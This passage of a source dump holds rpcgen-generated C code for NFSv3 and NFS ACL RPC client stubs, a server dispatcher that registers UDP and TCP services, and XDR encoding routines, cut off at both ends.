0, sizeof(clnt_res)); 78 | if (clnt_call (clnt, NFS3_ACCESS, 79 | (xdrproc_t) xdr_ACCESS3args, (caddr_t) argp, 80 | (xdrproc_t) xdr_ACCESS3res, (caddr_t) &clnt_res, 81 | TIMEOUT) != RPC_SUCCESS) { 82 | return (NULL); 83 | } 84 | return (&clnt_res); 85 | } 86 | 87 | READLINK3res * 88 | nfs3_readlink_3(READLINK3args *argp, CLIENT *clnt) 89 | { 90 | static READLINK3res clnt_res; 91 | 92 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 93 | if (clnt_call (clnt, NFS3_READLINK, 94 | (xdrproc_t) xdr_READLINK3args, (caddr_t) argp, 95 | (xdrproc_t) xdr_READLINK3res, (caddr_t) &clnt_res, 96 | TIMEOUT) != RPC_SUCCESS) { 97 | return (NULL); 98 | } 99 | return (&clnt_res); 100 | } 101 | 102 | READ3res * 103 | nfs3_read_3(READ3args *argp, CLIENT *clnt) 104 | { 105 | static READ3res clnt_res; 106 | 107 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 108 | if (clnt_call (clnt, NFS3_READ, 109 | (xdrproc_t) xdr_READ3args, (caddr_t) argp, 110 | (xdrproc_t) xdr_READ3res, (caddr_t) &clnt_res, 111 | TIMEOUT) != RPC_SUCCESS) { 112 | return (NULL); 113 | } 114 | return (&clnt_res); 115 | } 116 | 117 | WRITE3res * 118 | nfs3_write_3(WRITE3args *argp, CLIENT *clnt) 119 | { 120 | static WRITE3res clnt_res; 121 | 122 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 123 | if (clnt_call (clnt, NFS3_WRITE, 124 | (xdrproc_t) xdr_WRITE3args, (caddr_t) argp, 125 | (xdrproc_t) xdr_WRITE3res, (caddr_t) &clnt_res, 126 | TIMEOUT) != RPC_SUCCESS) { 127 | return (NULL); 128 | } 129 | return (&clnt_res); 130 | } 131 | 132 | CREATE3res * 133 | nfs3_create_3(CREATE3args *argp, CLIENT *clnt) 134 | { 135 | static CREATE3res clnt_res; 136 | 137 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 138 | if (clnt_call (clnt, NFS3_CREATE, 139 | (xdrproc_t) xdr_CREATE3args, (caddr_t) argp, 140 | (xdrproc_t) xdr_CREATE3res, (caddr_t) &clnt_res, 141 | TIMEOUT) != RPC_SUCCESS) { 142 | return (NULL); 143 | } 144 | return (&clnt_res); 145 | } 146 | 147 | MKDIR3res * 148 | nfs3_mkdir_3(MKDIR3args *argp, CLIENT *clnt) 149 | { 150 | static MKDIR3res clnt_res; 151 | 152 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 153 | if (clnt_call (clnt, NFS3_MKDIR, 154 | (xdrproc_t) xdr_MKDIR3args, (caddr_t) argp, 155 | (xdrproc_t) xdr_MKDIR3res, (caddr_t) &clnt_res, 156 | TIMEOUT) != RPC_SUCCESS) { 157 | return (NULL); 158 | } 159 | return (&clnt_res); 160 | } 161 | 162 | SYMLINK3res * 163 | nfs3_symlink_3(SYMLINK3args *argp, CLIENT *clnt) 164 | { 165 | static SYMLINK3res clnt_res; 166 | 167 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 168 | if (clnt_call (clnt, NFS3_SYMLINK, 169 | (xdrproc_t) xdr_SYMLINK3args, (caddr_t) argp, 170 | (xdrproc_t) xdr_SYMLINK3res, (caddr_t) &clnt_res, 171 | TIMEOUT) != RPC_SUCCESS) { 172 | return (NULL); 173 | } 174 | return (&clnt_res); 175 | } 176 | 177 | MKNOD3res * 178 | nfs3_mknod_3(MKNOD3args *argp, CLIENT *clnt) 179 | { 180 | static MKNOD3res clnt_res; 181 | 182 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 183 | if (clnt_call (clnt, NFS3_MKNOD, 184 | (xdrproc_t) xdr_MKNOD3args, (caddr_t) argp, 185 | (xdrproc_t) xdr_MKNOD3res, (caddr_t) &clnt_res, 186 | TIMEOUT) != RPC_SUCCESS) { 187 | return (NULL); 188 | } 189 | return (&clnt_res); 190 | } 191 | 192 | REMOVE3res * 193 | nfs3_remove_3(REMOVE3args *argp, CLIENT *clnt) 194 | { 195 | static REMOVE3res clnt_res; 196 | 197 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 198 | if (clnt_call (clnt, NFS3_REMOVE, 199 | (xdrproc_t) xdr_REMOVE3args, (caddr_t) argp, 200 | (xdrproc_t) xdr_REMOVE3res, (caddr_t) &clnt_res, 201 | TIMEOUT) != RPC_SUCCESS) { 202 | return (NULL); 203 | } 204 | return (&clnt_res); 205 | } 206 | 207 | RMDIR3res * 208 | nfs3_rmdir_3(RMDIR3args *argp, CLIENT *clnt) 209 | { 210 | static RMDIR3res clnt_res; 211 | 212 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 213 | if (clnt_call (clnt, NFS3_RMDIR, 214 | (xdrproc_t) xdr_RMDIR3args, (caddr_t) argp, 215 | (xdrproc_t) xdr_RMDIR3res, (caddr_t) &clnt_res, 216 | TIMEOUT) != RPC_SUCCESS) { 217 | return (NULL); 218 | } 219 | return (&clnt_res); 220 | } 221 | 222 | RENAME3res * 223 | nfs3_rename_3(RENAME3args *argp, CLIENT *clnt) 224 | { 225 | static RENAME3res clnt_res; 226 | 227 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 228 | if (clnt_call (clnt, NFS3_RENAME, 229 | (xdrproc_t) xdr_RENAME3args, (caddr_t) argp, 230 | (xdrproc_t) xdr_RENAME3res, (caddr_t) &clnt_res, 231 | TIMEOUT) != RPC_SUCCESS) { 232 | return (NULL); 233 | } 234 | return (&clnt_res); 235 | } 236 | 237 | LINK3res * 238 | nfs3_link_3(LINK3args *argp, CLIENT *clnt) 239 | { 240 | static LINK3res clnt_res; 241 | 242 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 243 | if (clnt_call (clnt, NFS3_LINK, 244 | (xdrproc_t) xdr_LINK3args, (caddr_t) argp, 245 | (xdrproc_t) xdr_LINK3res, (caddr_t) &clnt_res, 246 | TIMEOUT) != RPC_SUCCESS) { 247 | return (NULL); 248 | } 249 | return (&clnt_res); 250 | } 251 | 252 | READDIR3res * 253 | nfs3_readdir_3(READDIR3args *argp, CLIENT *clnt) 254 | { 255 | static READDIR3res clnt_res; 256 | 257 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 258 | if (clnt_call (clnt, NFS3_READDIR, 259 | (xdrproc_t) xdr_READDIR3args, (caddr_t) argp, 260 | (xdrproc_t) xdr_READDIR3res, (caddr_t) &clnt_res, 261 | TIMEOUT) != RPC_SUCCESS) { 262 | return (NULL); 263 | } 264 | return (&clnt_res); 265 | } 266 | 267 | READDIRPLUS3res * 268 | nfs3_readdirplus_3(READDIRPLUS3args *argp, CLIENT *clnt) 269 | { 270 | static READDIRPLUS3res clnt_res; 271 | 272 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 273 | if (clnt_call (clnt, NFS3_READDIRPLUS, 274 | (xdrproc_t) xdr_READDIRPLUS3args, (caddr_t) argp, 275 | (xdrproc_t) xdr_READDIRPLUS3res, (caddr_t) &clnt_res, 276 | TIMEOUT) != RPC_SUCCESS) { 277 | return (NULL); 278 | } 279 | return (&clnt_res); 280 | } 281 | 282 | FSSTAT3res * 283 | nfs3_fsstat_3(FSSTAT3args *argp, CLIENT *clnt) 284 | { 285 | static FSSTAT3res clnt_res; 286 | 287 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 288 | if (clnt_call (clnt, NFS3_FSSTAT, 289 | (xdrproc_t) xdr_FSSTAT3args, (caddr_t) argp, 290 | (xdrproc_t) xdr_FSSTAT3res, (caddr_t) &clnt_res, 291 | TIMEOUT) != RPC_SUCCESS) { 292 | return (NULL); 293 | } 294 | return (&clnt_res); 295 | } 296 | 297 | FSINFO3res * 298 | nfs3_fsinfo_3(FSINFO3args *argp, CLIENT *clnt) 299 | { 300 | static FSINFO3res clnt_res; 301 | 302 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 303 | if (clnt_call (clnt, NFS3_FSINFO, 304 | (xdrproc_t) xdr_FSINFO3args, (caddr_t) argp, 305 | (xdrproc_t) xdr_FSINFO3res, (caddr_t) &clnt_res, 306 | TIMEOUT) != RPC_SUCCESS) { 307 | return (NULL); 308 | } 309 | return (&clnt_res); 310 | } 311 | 312 | PATHCONF3res * 313 | nfs3_pathconf_3(PATHCONF3args *argp, CLIENT *clnt) 314 | { 315 | static PATHCONF3res clnt_res; 316 | 317 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 318 | if (clnt_call (clnt, NFS3_PATHCONF, 319 | (xdrproc_t) xdr_PATHCONF3args, (caddr_t) argp, 320 | (xdrproc_t) xdr_PATHCONF3res, (caddr_t) &clnt_res, 321 | TIMEOUT) != RPC_SUCCESS) { 322 | return (NULL); 323 | } 324 | return (&clnt_res); 325 | } 326 | 327 | COMMIT3res * 328 | nfs3_commit_3(COMMIT3args *argp, CLIENT *clnt) 329 | { 330 | static COMMIT3res clnt_res; 331 | 332 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 333 | if (clnt_call (clnt, NFS3_COMMIT, 334 | (xdrproc_t) xdr_COMMIT3args, (caddr_t) argp, 335 | (xdrproc_t) xdr_COMMIT3res, (caddr_t) &clnt_res, 336 | TIMEOUT) != RPC_SUCCESS) { 337 | return (NULL); 338 | } 339 | return (&clnt_res); 340 | } 341 | 342 | void * 343 | nfsacl3_null_3(void *argp, CLIENT *clnt) 344 | { 345 | static char clnt_res; 346 | 347 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 348 | if (clnt_call (clnt, NFSACL3_NULL, 349 | (xdrproc_t) xdr_void, (caddr_t) argp, 350 | (xdrproc_t) xdr_void, (caddr_t) &clnt_res, 351 | TIMEOUT) != RPC_SUCCESS) { 352 | return (NULL); 353 | } 354 | return ((void *)&clnt_res); 355 | } 356 | 357 | GETACL3res * 358 | nfsacl3_getacl_3(GETACL3args *argp, CLIENT *clnt) 359 | { 360 | static GETACL3res clnt_res; 361 | 362 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 363 | if (clnt_call (clnt, NFSACL3_GETACL, 364 | (xdrproc_t) xdr_GETACL3args, (caddr_t) argp, 365 | (xdrproc_t) xdr_GETACL3res, (caddr_t) &clnt_res, 366 | TIMEOUT) != RPC_SUCCESS) { 367 | return (NULL); 368 | } 369 | return (&clnt_res); 370 | } 371 | 372 | SETACL3res * 373 | nfsacl3_setacl_3(SETACL3args *argp, CLIENT *clnt) 374 | { 375 | static SETACL3res clnt_res; 376 | 377 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 378 | if (clnt_call (clnt, NFSACL3_SETACL, 379 | (xdrproc_t) xdr_SETACL3args, (caddr_t) argp, 380 | (xdrproc_t) xdr_SETACL3res, (caddr_t) &clnt_res, 381 | TIMEOUT) != RPC_SUCCESS) { 382 | return (NULL); 383 | } 384 | return (&clnt_res); 385 | } 386 | -------------------------------------------------------------------------------- /nfs_prot_svc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Please do not edit this file. 3 | * It was generated using rpcgen. 4 | */ 5 | 6 | #include "nfs_prot.h" 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #ifndef SIG_PF 16 | #define SIG_PF void(*)(int) 17 | #endif 18 | 19 | static void 20 | nfs_program_3(struct svc_req *rqstp, register SVCXPRT *transp) 21 | { 22 | union { 23 | GETATTR3args nfs3_getattr_3_arg; 24 | SETATTR3args nfs3_setattr_3_arg; 25 | LOOKUP3args nfs3_lookup_3_arg; 26 | ACCESS3args nfs3_access_3_arg; 27 | READLINK3args nfs3_readlink_3_arg; 28 | READ3args nfs3_read_3_arg; 29 | WRITE3args nfs3_write_3_arg; 30 | CREATE3args nfs3_create_3_arg; 31 | MKDIR3args nfs3_mkdir_3_arg; 32 | SYMLINK3args nfs3_symlink_3_arg; 33 | MKNOD3args nfs3_mknod_3_arg; 34 | REMOVE3args nfs3_remove_3_arg; 35 | RMDIR3args nfs3_rmdir_3_arg; 36 | RENAME3args nfs3_rename_3_arg; 37 | LINK3args nfs3_link_3_arg; 38 | READDIR3args nfs3_readdir_3_arg; 39 | READDIRPLUS3args nfs3_readdirplus_3_arg; 40 | FSSTAT3args nfs3_fsstat_3_arg; 41 | FSINFO3args nfs3_fsinfo_3_arg; 42 | PATHCONF3args nfs3_pathconf_3_arg; 43 | COMMIT3args nfs3_commit_3_arg; 44 | } argument; 45 | char *result; 46 | xdrproc_t _xdr_argument, _xdr_result; 47 | char *(*local)(char *, struct svc_req *); 48 | 49 | switch (rqstp->rq_proc) { 50 | case NFS3_NULL: 51 | _xdr_argument = (xdrproc_t) xdr_void; 52 | _xdr_result = (xdrproc_t) xdr_void; 53 | local = (char *(*)(char *, struct svc_req *)) nfs3_null_3_svc; 54 | break; 55 | 56 | case NFS3_GETATTR: 57 | _xdr_argument = (xdrproc_t) xdr_GETATTR3args; 58 | _xdr_result = (xdrproc_t) xdr_GETATTR3res; 59 | local = (char *(*)(char *, struct svc_req *)) nfs3_getattr_3_svc; 60 | break; 61 | 62 | case NFS3_SETATTR: 63 | _xdr_argument = (xdrproc_t) xdr_SETATTR3args; 64 | _xdr_result = (xdrproc_t) xdr_SETATTR3res; 65 | local = (char *(*)(char *, struct svc_req *)) nfs3_setattr_3_svc; 66 | break; 67 | 68 | case NFS3_LOOKUP: 69 | _xdr_argument = (xdrproc_t) xdr_LOOKUP3args; 70 | _xdr_result = (xdrproc_t) xdr_LOOKUP3res; 71 | local = (char *(*)(char *, struct svc_req *)) nfs3_lookup_3_svc; 72 | break; 73 | 74 | case NFS3_ACCESS: 75 | _xdr_argument = (xdrproc_t) xdr_ACCESS3args; 76 | _xdr_result = (xdrproc_t) xdr_ACCESS3res; 77 | local = (char *(*)(char *, struct svc_req *)) nfs3_access_3_svc; 78 | break; 79 | 80 | case NFS3_READLINK: 81 | _xdr_argument = (xdrproc_t) xdr_READLINK3args; 82 | _xdr_result = (xdrproc_t) xdr_READLINK3res; 83 | local = (char *(*)(char *, struct svc_req *)) nfs3_readlink_3_svc; 84 | break; 85 | 86 | case NFS3_READ: 87 | _xdr_argument = (xdrproc_t) xdr_READ3args; 88 | _xdr_result = (xdrproc_t) xdr_READ3res; 89 | local = (char *(*)(char *, struct svc_req *)) nfs3_read_3_svc; 90 | break; 91 | 92 | case NFS3_WRITE: 93 | _xdr_argument = (xdrproc_t) xdr_WRITE3args; 94 | _xdr_result = (xdrproc_t) xdr_WRITE3res; 95 | local = (char *(*)(char *, struct svc_req *)) nfs3_write_3_svc; 96 | break; 97 | 98 | case NFS3_CREATE: 99 | _xdr_argument = (xdrproc_t) xdr_CREATE3args; 100 | _xdr_result = (xdrproc_t) xdr_CREATE3res; 101 | local = (char *(*)(char *, struct svc_req *)) nfs3_create_3_svc; 102 | break; 103 | 104 | case NFS3_MKDIR: 105 | _xdr_argument = (xdrproc_t) xdr_MKDIR3args; 106 | _xdr_result = (xdrproc_t) xdr_MKDIR3res; 107 | local = (char *(*)(char *, struct svc_req *)) nfs3_mkdir_3_svc; 108 | break; 109 | 110 | case NFS3_SYMLINK: 111 | _xdr_argument = (xdrproc_t) xdr_SYMLINK3args; 112 | _xdr_result = (xdrproc_t) xdr_SYMLINK3res; 113 | local = (char *(*)(char *, struct svc_req *)) nfs3_symlink_3_svc; 114 | break; 115 | 116 | case NFS3_MKNOD: 117 | _xdr_argument = (xdrproc_t) xdr_MKNOD3args; 118 | _xdr_result = (xdrproc_t) xdr_MKNOD3res; 119 | local = (char *(*)(char *, struct svc_req *)) nfs3_mknod_3_svc; 120 | break; 121 | 122 | case NFS3_REMOVE: 123 | _xdr_argument = (xdrproc_t) xdr_REMOVE3args; 124 | _xdr_result = (xdrproc_t) xdr_REMOVE3res; 125 | local = (char *(*)(char *, struct svc_req *)) nfs3_remove_3_svc; 126 | break; 127 | 128 | case NFS3_RMDIR: 129 | _xdr_argument = (xdrproc_t) xdr_RMDIR3args; 130 | _xdr_result = (xdrproc_t) xdr_RMDIR3res; 131 | local = (char *(*)(char *, struct svc_req *)) nfs3_rmdir_3_svc; 132 | break; 133 | 134 | case NFS3_RENAME: 135 | _xdr_argument = (xdrproc_t) xdr_RENAME3args; 136 | _xdr_result = (xdrproc_t) xdr_RENAME3res; 137 | local = (char *(*)(char *, struct svc_req *)) nfs3_rename_3_svc; 138 | break; 139 | 140 | case NFS3_LINK: 141 | _xdr_argument = (xdrproc_t) xdr_LINK3args; 142 | _xdr_result = (xdrproc_t) xdr_LINK3res; 143 | local = (char *(*)(char *, struct svc_req *)) nfs3_link_3_svc; 144 | break; 145 | 146 | case NFS3_READDIR: 147 | _xdr_argument = (xdrproc_t) xdr_READDIR3args; 148 | _xdr_result = (xdrproc_t) xdr_READDIR3res; 149 | local = (char *(*)(char *, struct svc_req *)) nfs3_readdir_3_svc; 150 | break; 151 | 152 | case NFS3_READDIRPLUS: 153 | _xdr_argument = (xdrproc_t) xdr_READDIRPLUS3args; 154 | _xdr_result = (xdrproc_t) xdr_READDIRPLUS3res; 155 | local = (char *(*)(char *, struct svc_req *)) nfs3_readdirplus_3_svc; 156 | break; 157 | 158 | case NFS3_FSSTAT: 159 | _xdr_argument = (xdrproc_t) xdr_FSSTAT3args; 160 | _xdr_result = (xdrproc_t) xdr_FSSTAT3res; 161 | local = (char *(*)(char *, struct svc_req *)) nfs3_fsstat_3_svc; 162 | break; 163 | 164 | case NFS3_FSINFO: 165 | _xdr_argument = (xdrproc_t) xdr_FSINFO3args; 166 | _xdr_result = (xdrproc_t) xdr_FSINFO3res; 167 | local = (char *(*)(char *, struct svc_req *)) nfs3_fsinfo_3_svc; 168 | break; 169 | 170 | case NFS3_PATHCONF: 171 | _xdr_argument = (xdrproc_t) xdr_PATHCONF3args; 172 | _xdr_result = (xdrproc_t) xdr_PATHCONF3res; 173 | local = (char *(*)(char *, struct svc_req *)) nfs3_pathconf_3_svc; 174 | break; 175 | 176 | case NFS3_COMMIT: 177 | _xdr_argument = (xdrproc_t) xdr_COMMIT3args; 178 | _xdr_result = (xdrproc_t) xdr_COMMIT3res; 179 | local = (char *(*)(char *, struct svc_req *)) nfs3_commit_3_svc; 180 | break; 181 | 182 | default: 183 | svcerr_noproc (transp); 184 | return; 185 | } 186 | memset ((char *)&argument, 0, sizeof (argument)); 187 | if (!svc_getargs (transp, (xdrproc_t) _xdr_argument, (caddr_t) &argument)) { 188 | svcerr_decode (transp); 189 | return; 190 | } 191 | result = (*local)((char *)&argument, rqstp); 192 | if (result != NULL && !svc_sendreply(transp, (xdrproc_t) _xdr_result, result)) { 193 | svcerr_systemerr (transp); 194 | } 195 | if (!svc_freeargs (transp, (xdrproc_t) _xdr_argument, (caddr_t) &argument)) { 196 | fprintf (stderr, "%s", "unable to free arguments"); 197 | exit (1); 198 | } 199 | return; 200 | } 201 | 202 | static void 203 | nfsacl_program_3(struct svc_req *rqstp, register SVCXPRT *transp) 204 | { 205 | union { 206 | GETACL3args nfsacl3_getacl_3_arg; 207 | SETACL3args nfsacl3_setacl_3_arg; 208 | } argument; 209 | char *result; 210 | xdrproc_t _xdr_argument, _xdr_result; 211 | char *(*local)(char *, struct svc_req *); 212 | 213 | switch (rqstp->rq_proc) { 214 | case NFSACL3_NULL: 215 | _xdr_argument = (xdrproc_t) xdr_void; 216 | _xdr_result = (xdrproc_t) xdr_void; 217 | local = (char *(*)(char *, struct svc_req *)) nfsacl3_null_3_svc; 218 | break; 219 | 220 | case NFSACL3_GETACL: 221 | _xdr_argument = (xdrproc_t) xdr_GETACL3args; 222 | _xdr_result = (xdrproc_t) xdr_GETACL3res; 223 | local = (char *(*)(char *, struct svc_req *)) nfsacl3_getacl_3_svc; 224 | break; 225 | 226 | case NFSACL3_SETACL: 227 | _xdr_argument = (xdrproc_t) xdr_SETACL3args; 228 | _xdr_result = (xdrproc_t) xdr_SETACL3res; 229 | local = (char *(*)(char *, struct svc_req *)) nfsacl3_setacl_3_svc; 230 | break; 231 | 232 | default: 233 | svcerr_noproc (transp); 234 | return; 235 | } 236 | memset ((char *)&argument, 0, sizeof (argument)); 237 | if (!svc_getargs (transp, (xdrproc_t) _xdr_argument, (caddr_t) &argument)) { 238 | svcerr_decode (transp); 239 | return; 240 | } 241 | result = (*local)((char *)&argument, rqstp); 242 | if (result != NULL && !svc_sendreply(transp, (xdrproc_t) _xdr_result, result)) { 243 | svcerr_systemerr (transp); 244 | } 245 | if (!svc_freeargs (transp, (xdrproc_t) _xdr_argument, (caddr_t) &argument)) { 246 | fprintf (stderr, "%s", "unable to free arguments"); 247 | exit (1); 248 | } 249 | return; 250 | } 251 | 252 | int 253 | main (int argc, char **argv) 254 | { 255 | register SVCXPRT *transp; 256 | 257 | pmap_unset (NFS_PROGRAM, NFS_V3); 258 | pmap_unset (NFSACL_PROGRAM, NFSACL_V3); 259 | 260 | transp = svcudp_create(RPC_ANYSOCK); 261 | if (transp == NULL) { 262 | fprintf (stderr, "%s", "cannot create udp service."); 263 | exit(1); 264 | } 265 | if (!svc_register(transp, NFS_PROGRAM, NFS_V3, nfs_program_3, IPPROTO_UDP)) { 266 | fprintf (stderr, "%s", "unable to register (NFS_PROGRAM, NFS_V3, udp)."); 267 | exit(1); 268 | } 269 | if (!svc_register(transp, NFSACL_PROGRAM, NFSACL_V3, nfsacl_program_3, IPPROTO_UDP)) { 270 | fprintf (stderr, "%s", "unable to register (NFSACL_PROGRAM, NFSACL_V3, udp)."); 271 | exit(1); 272 | } 273 | 274 | transp = svctcp_create(RPC_ANYSOCK, 0, 0); 275 | if (transp == NULL) { 276 | fprintf (stderr, "%s", "cannot create tcp service."); 277 | exit(1); 278 | } 279 | if (!svc_register(transp, NFS_PROGRAM, NFS_V3, nfs_program_3, IPPROTO_TCP)) { 280 | fprintf (stderr, "%s", "unable to register (NFS_PROGRAM, NFS_V3, tcp)."); 281 | exit(1); 282 | } 283 | if (!svc_register(transp, NFSACL_PROGRAM, NFSACL_V3, nfsacl_program_3, IPPROTO_TCP)) { 284 | fprintf (stderr, "%s", "unable to register (NFSACL_PROGRAM, NFSACL_V3, tcp)."); 285 | exit(1); 286 | } 287 | 288 | svc_run (); 289 | fprintf (stderr, "%s", "svc_run returned"); 290 | exit (1); 291 | /* NOTREACHED */ 292 | } 293 | -------------------------------------------------------------------------------- /nfs_prot_xdr.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Please do not edit this file. 3 | * It was generated using rpcgen. 4 | */ 5 | 6 | #include "nfs_prot.h" 7 | 8 | bool_t 9 | xdr_cookieverf3 (XDR *xdrs, cookieverf3 objp) 10 | { 11 | register int32_t *buf; 12 | 13 | if (!xdr_opaque (xdrs, objp, NFS3_COOKIEVERFSIZE)) 14 | return FALSE; 15 | return TRUE; 16 | } 17 | 18 | bool_t 19 | xdr_uint64 (XDR *xdrs, uint64 *objp) 20 | { 21 | register int32_t *buf; 22 | 23 | if (!xdr_u_quad_t (xdrs, objp)) 24 | return FALSE; 25 | return TRUE; 26 | } 27 | 28 | bool_t 29 | xdr_cookie3 (XDR *xdrs, cookie3 *objp) 30 | { 31 | register int32_t *buf; 32 | 33 | if (!xdr_uint64 (xdrs, objp)) 34 | return FALSE; 35 | return TRUE; 36 | } 37 | 38 | bool_t 39 | xdr_nfs_fh3 (XDR *xdrs, nfs_fh3 *objp) 40 | { 41 | register int32_t *buf; 42 | 43 | if (!xdr_bytes (xdrs, (char **)&objp->data.data_val, (u_int *) &objp->data.data_len, NFS3_FHSIZE)) 44 | return FALSE; 45 | return TRUE; 46 | } 47 | 48 | bool_t 49 | xdr_filename3 (XDR *xdrs, filename3 *objp) 50 | { 51 | register int32_t *buf; 52 | 53 | if (!xdr_string (xdrs, objp, ~0)) 54 | return FALSE; 55 | return TRUE; 56 | } 57 | 58 | bool_t 59 | xdr_diropargs3 (XDR *xdrs, diropargs3 *objp) 60 | { 61 | register int32_t *buf; 62 | 63 | if (!xdr_nfs_fh3 (xdrs, &objp->dir)) 64 | return FALSE; 65 | if (!xdr_filename3 (xdrs, &objp->name)) 66 | return FALSE; 67 | return TRUE; 68 | } 69 | 70 | bool_t 71 | xdr_ftype3 (XDR *xdrs, ftype3 *objp) 72 | { 73 | register int32_t *buf; 74 | 75 | if (!xdr_enum (xdrs, (enum_t *) objp)) 76 | return FALSE; 77 | return TRUE; 78 | } 79 | 80 | bool_t 81 | xdr_mode3 (XDR *xdrs, mode3 *objp) 82 | { 83 | register int32_t *buf; 84 | 85 | if (!xdr_uint32_t (xdrs, objp)) 86 | return FALSE; 87 | return TRUE; 88 | } 89 | 90 | bool_t 91 | xdr_uid3 (XDR *xdrs, uid3 *objp) 92 | { 93 | register int32_t *buf; 94 | 95 | if (!xdr_uint32_t (xdrs, objp)) 96 | return FALSE; 97 | return TRUE; 98 | } 99 | 100 | bool_t 101 | xdr_gid3 (XDR *xdrs, gid3 *objp) 102 | { 103 | register int32_t *buf; 104 | 105 | if (!xdr_uint32_t (xdrs, objp)) 106 | return FALSE; 107 | return TRUE; 108 | } 109 | 110 | bool_t 111 | xdr_size3 (XDR *xdrs, size3 *objp) 112 | { 113 | register int32_t *buf; 114 | 115 | if (!xdr_uint64 (xdrs, objp)) 116 | return FALSE; 117 | return TRUE; 118 | } 119 | 120 | bool_t 121 | xdr_fileid3 (XDR *xdrs, fileid3 *objp) 122 | { 123 | register int32_t *buf; 124 | 125 | if (!xdr_uint64 (xdrs, objp)) 126 | return FALSE; 127 | return TRUE; 128 | } 129 | 130 | bool_t 131 | xdr_specdata3 (XDR *xdrs, specdata3 *objp) 132 | { 133 | register int32_t *buf; 134 | 135 | if (!xdr_uint32_t (xdrs, &objp->specdata1)) 136 | return FALSE; 137 | if (!xdr_uint32_t (xdrs, &objp->specdata2)) 138 | return FALSE; 139 | return TRUE; 140 | } 141 | 142 | bool_t 143 | xdr_nfstime3 (XDR *xdrs, nfstime3 *objp) 144 | { 145 | register int32_t *buf; 146 | 147 | if (!xdr_uint32_t (xdrs, &objp->seconds)) 148 | return FALSE; 149 | if (!xdr_uint32_t (xdrs, &objp->nseconds)) 150 | return FALSE; 151 | return TRUE; 152 | } 153 | 154 | bool_t 155 | xdr_fattr3 (XDR *xdrs, fattr3 *objp) 156 | { 157 | register int32_t *buf; 158 | 159 | if (!xdr_ftype3 (xdrs, &objp->type)) 160 | return FALSE; 161 | if (!xdr_mode3 (xdrs, &objp->mode)) 162 | return FALSE; 163 | if (!xdr_uint32_t (xdrs, &objp->nlink)) 164 | return FALSE; 165 | if (!xdr_uid3 (xdrs, &objp->uid)) 166 | return FALSE; 167 | if (!xdr_gid3 (xdrs, &objp->gid)) 168 | return FALSE; 169 | if (!xdr_size3 (xdrs, &objp->size)) 170 | return FALSE; 171 | if (!xdr_size3 (xdrs, &objp->used)) 172 | return FALSE; 173 | if (!xdr_specdata3 (xdrs, &objp->rdev)) 174 | return FALSE; 175 | if (!xdr_uint64 (xdrs, &objp->fsid)) 176 | return FALSE; 177 | if (!xdr_fileid3 (xdrs, &objp->fileid)) 178 | return FALSE; 179 | if (!xdr_nfstime3 (xdrs, &objp->atime)) 180 | return FALSE; 181 | if (!xdr_nfstime3 (xdrs, &objp->mtime)) 182 | return FALSE; 183 | if (!xdr_nfstime3 (xdrs, &objp->ctime)) 184 | return FALSE; 185 | return TRUE; 186 | } 187 | 188 | bool_t 189 | xdr_post_op_attr (XDR *xdrs, post_op_attr *objp) 190 | { 191 | register int32_t *buf; 192 | 193 | if (!xdr_bool (xdrs, &objp->attributes_follow)) 194 | return FALSE; 195 | switch (objp->attributes_follow) { 196 | case TRUE: 197 | if (!xdr_fattr3 (xdrs, &objp->post_op_attr_u.attributes)) 198 | return FALSE; 199 | break; 200 | case FALSE: 201 | break; 202 | default: 203 | return FALSE; 204 | } 205 | return TRUE; 206 | } 207 | 208 | bool_t 209 | xdr_nfsstat3 (XDR *xdrs, nfsstat3 *objp) 210 | { 211 | register int32_t *buf; 212 | 213 | if (!xdr_enum (xdrs, (enum_t *) objp)) 214 | return FALSE; 215 | return TRUE; 216 | } 217 | 218 | bool_t 219 | xdr_stable_how (XDR *xdrs, stable_how *objp) 220 | { 221 | register int32_t *buf; 222 | 223 | if (!xdr_enum (xdrs, (enum_t *) objp)) 224 | return FALSE; 225 | return TRUE; 226 | } 227 | 228 | bool_t 229 | xdr_offset3 (XDR *xdrs, offset3 *objp) 230 | { 231 | register int32_t *buf; 232 | 233 | if (!xdr_uint64 (xdrs, objp)) 234 | return FALSE; 235 | return TRUE; 236 | } 237 | 238 | bool_t 239 | xdr_count3 (XDR *xdrs, count3 *objp) 240 | { 241 | register int32_t *buf; 242 | 243 | if (!xdr_uint32_t (xdrs, objp)) 244 | return FALSE; 245 | return TRUE; 246 | } 247 | 248 | bool_t 249 | xdr_wcc_attr (XDR *xdrs, wcc_attr *objp) 250 | { 251 | register int32_t *buf; 252 | 253 | if (!xdr_size3 (xdrs, &objp->size)) 254 | return FALSE; 255 | if (!xdr_nfstime3 (xdrs, &objp->mtime)) 256 | return FALSE; 257 | if (!xdr_nfstime3 (xdrs, &objp->ctime)) 258 | return FALSE; 259 | return TRUE; 260 | } 261 | 262 | bool_t 263 | xdr_pre_op_attr (XDR *xdrs, pre_op_attr *objp) 264 | { 265 | register int32_t *buf; 266 | 267 | if (!xdr_bool (xdrs, &objp->attributes_follow)) 268 | return FALSE; 269 | switch (objp->attributes_follow) { 270 | case TRUE: 271 | if (!xdr_wcc_attr (xdrs, &objp->pre_op_attr_u.attributes)) 272 | return FALSE; 273 | break; 274 | case FALSE: 275 | break; 276 | default: 277 | return FALSE; 278 | } 279 | return TRUE; 280 | } 281 | 282 | bool_t 283 | xdr_wcc_data (XDR 